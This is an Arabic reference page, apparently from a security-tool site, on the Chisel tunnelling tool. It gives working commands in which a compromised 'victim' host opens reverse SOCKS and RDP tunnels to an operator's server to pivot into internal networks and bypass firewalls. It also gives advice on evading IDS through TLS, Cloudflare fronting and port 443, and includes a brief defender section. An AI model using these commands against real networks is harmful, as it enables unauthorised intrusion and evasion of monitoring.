اعرف اللي قصادك. احمي أرضك.

Chisel

أداة إنشاء أنفاق TCP/UDP مشفرة عبر بروتوكول HTTP/S، تُستخدم بفعالية للتحرك الجانبي وتجاوز جدران الحماية.

هجوممفتوحة المصدرLinuxmacOSWindows
github.com/jpillora/chisel

Chisel — الدليل الشامل لإنشاء الأنفاق (Tunneling)

تُعدّ أداة chisel حلاً متطوراً لإنشاء أنفاق TCP/UDP عبر بروتوكول HTTP، مؤمنةً بطبقة SSH. تتميز الأداة بكونها ملفاً تنفيذياً واحداً مكتوباً بلغة Go، ويمكن تشغيلها كخادم (Server) أو كعميل (Client). تُستخدم الأداة بشكل أساسي في عمليات التمحور (Pivoting) وتجاوز الجدران النارية (Firewalls) عندما يكون المنفذ الوحيد المسموح للخروج (Outbound) هو HTTP/HTTPS.

التثبيت

$ curl -L https://github.com/jpillora/chisel/releases/latest/download/chisel_$(uname -s)_$(uname -m).gz | gunzip > chisel && chmod +x chisel

نموذج الخادم والعميل (Server / Client)

يعمل الخادم على استقبال الاتصالات (غالباً جهاز المشغل)، بينما يعمل العميل على الجهاز المخترق (الضحية) للاتصال بالخارج.

الخادم (Server)

$ chisel server --port 8080 --reverse --auth user:Pass --tls-key key.pem --tls-cert cert.pem
الخيار (Flag)الغرض
--port / -pمنفذ الاستماع
--hostواجهة الشبكة المخصصة للاستماع
--reverseالسماح للعميل بفتح منافذ عكسية للمشغل
--auth user:passسر مشترك للتحقق من الهوية
--keepalive 25sالحفاظ على نشاط اتصال TCP
--tls-key/--tls-certشهادات TLS لتشفير الاتصال
--socks5تفعيل دعم SOCKS5 المدمج

العميل (Client)

$ chisel client --auth user:Pass --keepalive 25s \
$ https://operator.example.com:8080 R:1080:socks
مواصفات النفقالمعنى
1080:socksمنفذ محلي 1080 ← SOCKS5 على جهاز الخادم
R:1080:socksعكسي — فتح منفذ SOCKS5 على جهاز المشغل يمر عبر الضحية
R:3389:10.0.0.5:3389عكسي — عرض خدمة RDP لـ 10.0.0.5 داخل شبكة الضحية للمشغل على منفذ 3389
R:0.0.0.0:8080:127.0.0.1:8080ربط المنفذ على واجهة خارجية لجهاز المشغل

سيناريوهات العمل (Workflows)

تمرير SOCKS عبر الضحية (السيناريو الأكثر شيوعاً)

# على جهاز المشغل (Operator):
$ chisel server -p 8080 --reverse --auth pwn:pwn
$
# على جهاز الضحية (بعد الحصول على موطئ قدم):
$ chisel client --auth pwn:pwn http://operator-ip:8080 R:1080:socks

الآن يمكن للمشغل استخدام proxychains4 للوصول للشبكة الداخلية: proxychains4 nmap -sT -Pn 10.0.0.0/24

تمرير منفذ واحد لهدف داخلي

# المشغل:
$ chisel server -p 8080 --reverse --auth pwn:pwn
$
# الضحية:
$ chisel client --auth pwn:pwn http://operator:8080 R:13389:10.0.0.5:3389
# المشغل: الاتصال بـ 127.0.0.1:13389 سيصل مباشرة إلى 10.0.0.5:3389 داخل الشبكة

استخدام تشفير TLS (موصى به)

# توليد شهادة ذاتية التوقيع
$ openssl req -x509 -nodes -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -subj '/CN=cdn'
$
# الخادم:
$ chisel server -p 443 --tls-key key.pem --tls-cert cert.pem --reverse --auth pwn:pwn
$
# العميل:
$ chisel client --auth pwn:pwn https://operator:443 R:1080:socks

المخرجات السليمة

عند نجاح الاتصال، ستظهر الرسائل التالية:

client: Connecting to wss://operator:8080
client: Connected (Latency 12ms)
client: 1#1: Listening

المشكلات والحلول

العرضالحل
العميل يعطي connection refusedتحقق من قيود الخروج (Egress)، جرب المنافذ الشائعة مثل (443، 80)
خطأ tls: handshake failureاستخدم --tls-skip-verify في جهة العميل للشهادات ذاتية التوقيع
بطء في نقل البياناتقلل مدة --keepalive وأغلق الأنفاق غير المستخدمة
توقف الاتصال بعد رصد IDSاستخدم تغليف TLS، واستخدم نطاقاً وهمياً عبر Cloudflare للتمويه

منظور المدافع (Defender's Perspective)

  • رصد اتصالات HTTP/WebSocket طويلة الأمد من محطة عمل إلى عنوان IP خارجي مجهول.
  • عملية المصافحة (Handshake) في Chisel لها بصمة محددة (magic byte)؛ توجد توقيعات Suricata جاهزة لرصدها.
  • استخدام TLS يزيد من صعوبة الرصد، لكن بصمة JA3 المستقرة مع فترات اتصال طويلة تظل نشاطاً مريباً.

العمليات الأمنية (OPSEC)

  • دائماً استخدم TLS، ودائماً استخدم سرية مصادقة (Auth secret) فريدة.
  • استخدم "الواجهة الأمامية" (Fronting) عبر Cloudflare لكي يبدو عنوان IP الوجهة كأنه تابع لخدمات Cloudflare.
  • استخدم المنفذ 443 للتمويه ضمن حركة مرور HTTPS العادية.

أدوات ذات صلة

الأداةالتخصص
ligolo-ngبديل حديث؛ يقوم بتوجيه شبكات فرعية كاملة دون الحاجة لـ proxychains
frpبروكسي عكسي عام الغرض ومفتوح المصدر
ngrokخدمة أنفاق تجارية، أسهل في الاستخدام لكنها مراقبة ومسجلة
gostأداة إنشاء أنفاق تدعم بروتوكولات متعددة